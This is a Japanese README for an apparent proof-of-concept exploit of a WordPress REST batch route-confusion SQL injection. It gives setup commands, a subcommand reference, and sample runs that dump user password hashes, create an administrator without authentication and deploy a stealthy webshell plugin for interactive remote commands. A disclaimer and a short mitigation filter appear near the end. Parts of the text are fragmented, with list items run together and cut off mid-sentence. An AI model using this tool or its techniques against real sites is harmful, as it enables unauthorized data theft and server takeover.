
WordPress REST バッチルート混乱 SQLインジェクション (CVE-2026-63030) 概念実証
リサーチ、エクスプロイト開発 & ドキュメント: Ch4120N
このリポジトリおよび付属ツール (exploit.py) は、教育目的、許可を得たペネトレーションテスト、およびセキュリティ研究のためのみに提供されています。
明示的かつ事前の書面による同意なしにこのエクスプロイトを標的に対して使用することは違法であり、世界中のコンピュータ詐欺および不正使用防止法に違反します。著者 (Ch4120N) は、このコードの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。常に法律の範囲内で行動し、適切な許可を取得してください。
CVE-2026-63030 は、WordPress REST API に影響を与える重大な未認証の脆弱性です。これは、ネストされたバッチ処理エンドポイント (/wp-json/batch/v1 または /?rest_route=/batch/v1) 内のルート混乱バグを悪用します。
WordPress が REST API リクエストのバッチを処理するとき、各サブリクエストは実行前にその特定のスキーマに対して検証されます。しかし、内部ルーティングポインタが意図的に不正な形式のパス (例: ///) を処理する方法の欠陥により、検証スキーマが実際の実行ハンドラと同期しなくなります。
/wp/v2/users エンドポイント (author_exclude を受け付けない) を標的としたリクエストが /wp/v2/posts ハンドラによって実行されます。サニタイズされていない author_exclude パラメータは WP_Query の author__not_in 句に直接渡され、未認証 SQLインジェクション が発生します。oembed_cache 投稿 ID を特定します。次にエクスプロイトは Customizer の changeset ペイロードを使用してナビゲーションメニューキャッシュを汚染し、既存の管理者のコンテキストでユーザー作成リクエストを実行するよう WordPress を欺きます。pip install は不要です。exploit.py) に整理されています。WP_Post 行を偽造することによるインバンド抽出 (値ごとに1リクエスト)。WP_DEBUG_DISPLAY が有効な場合に EXTRACTVALUE() XPATH エラーを利用します。cd 対応)。サードパーティ製パッケージは不要です。Python 3.8 以上 がインストールされていることを確認してください。
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
エクスプロイトは check、read、shell の3つのメインサブコマンドに分かれています。
これらのオプションはすべてのサブコマンドに適用されます:
check - 脆弱性の検出データを抽出することなく、ルート混乱マーカーの存在を確認するためにターゲットを安全にプローブし、SQLi のタイミングをテストします。
read - データベース抽出SQL インジェクションを介してデータベースから直接データを抽出します。
shell - リモートコード実行ウェブシェルを展開してコマンドを実行します。認証情報が提供されない場合、事前認証の管理者作成ブリッジを自動的にトリガーします。
以下は、ツールの実際の使用例です。
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
ツールが管理者アカウントを自動的に作成し、シェルを展開し、終了後にクリーンアップする様子に注目してください。
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
エクスプロイトの核心は、_DESYNC_PRIMER = {"method": "POST", "path": "///"} を注入することに依存しています。この無効な URL により、WordPress の内部ルーティングは最初のサブリクエストに対して WP_Error を生成します。これにより内部ポインタがずれ、2番目 のサブリクエストがあるスキーマに対して検証されつつ、3番目 のサブリクエストのハンドラによって実行される状態になります。これにより author_exclude パラメータが WP_Query に密かに注入されます。
遅いブラインド SQLi の代わりに、このツールは UNION SELECT を使用して完全に構成された偽の wp_posts 行を注入します。orderby=none と per_page=500 を設定することで、WP_Query がクエリを分割するのを防ぎます。注入された post_title には、ターゲットの SQL 式の結果が || 区切り文字でラップされた16進エンコード形式で含まれ、REST API の JSON レスポンスに直接反映されます。
展開される PHP プラグインは高いステルス性を備えて設計されています:
wp_a1b2c3d4.php)。t) とコマンド (c) を要求します。hash_equals() を使用してトークンに対するタイミング攻撃を防ぎます。chdir)。EXPLOIT::...::END マーカーでラップされます。mu-plugins) を使用して無効化します:
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
author_exclude を含むネストされた /batch/v1 リクエスト。UNION、SLEEP()、または EXTRACTVALUE を含むリクエスト。/// のような不正な形式のパス。wp-config.php で WP_DEBUG_DISPLAY が に設定されていることを確認します。"大いなる力には大いなる責任が伴う。この知識を破壊ではなく防衛のために使ってください。"
— Ch4120N
| オプション | 説明 | デフォルト |
|---|
url | ターゲットのベース URL (例: http://target.com) | 必須 |
--rest-route | /wp-json/batch/v1 の代わりに /?rest_route=/batch/v1 を使用します (パーマリンクが無効なサイト向け)。 | False |
--timeout | HTTP リクエストのタイムアウト時間 (秒)。 | 30.0 |
--proxy | HTTP/HTTPS プロキシ (例: http://127.0.0.1:8080)。 | None |
| オプション | 説明 | デフォルト |
|---|
--sleep | --confirm-sqli フォールバックで使用する SQL タイミング遅延 (秒)。 | 3.0 |
--samples | テストするベースライン/遅延 SQL タイミングペアの数。 | 3 |
--confirm-sqli | アクティブな SQLi 確認ペイロードを送信します (わずかな遅延が追加されます)。 | False |
| オプション | 説明 | デフォルト |
|---|
--preset | クイック抽出プリセット: fingerprint (バージョン/ユーザー/DB) または users (ログイン/ハッシュ)。 | fingerprint |
--query | カスタムのスカラー SQL 式を実行します (例: "SELECT @@version")。 | None |
--prefix | データベーステーブルのプレフィックス。 | wp_ |
--max-length | 値ごとに抽出する最大文字数。 | 128 |
--technique | 抽出テクニック: auto、union、error、または blind。 | auto |
| オプション | 説明 | デフォルト |
|---|
--user | 管理者ユーザー名。(省略すると事前認証ブリッジを使用します)。 | None |
--password | 管理者パスワード。(省略すると事前認証ブリッジを使用します)。 | None |
--cmd | ターゲット上で実行する単一のコマンド。 | None |
-i, --interactive | 展開後に対話型シェル (REPL) を開きます。 | False |
false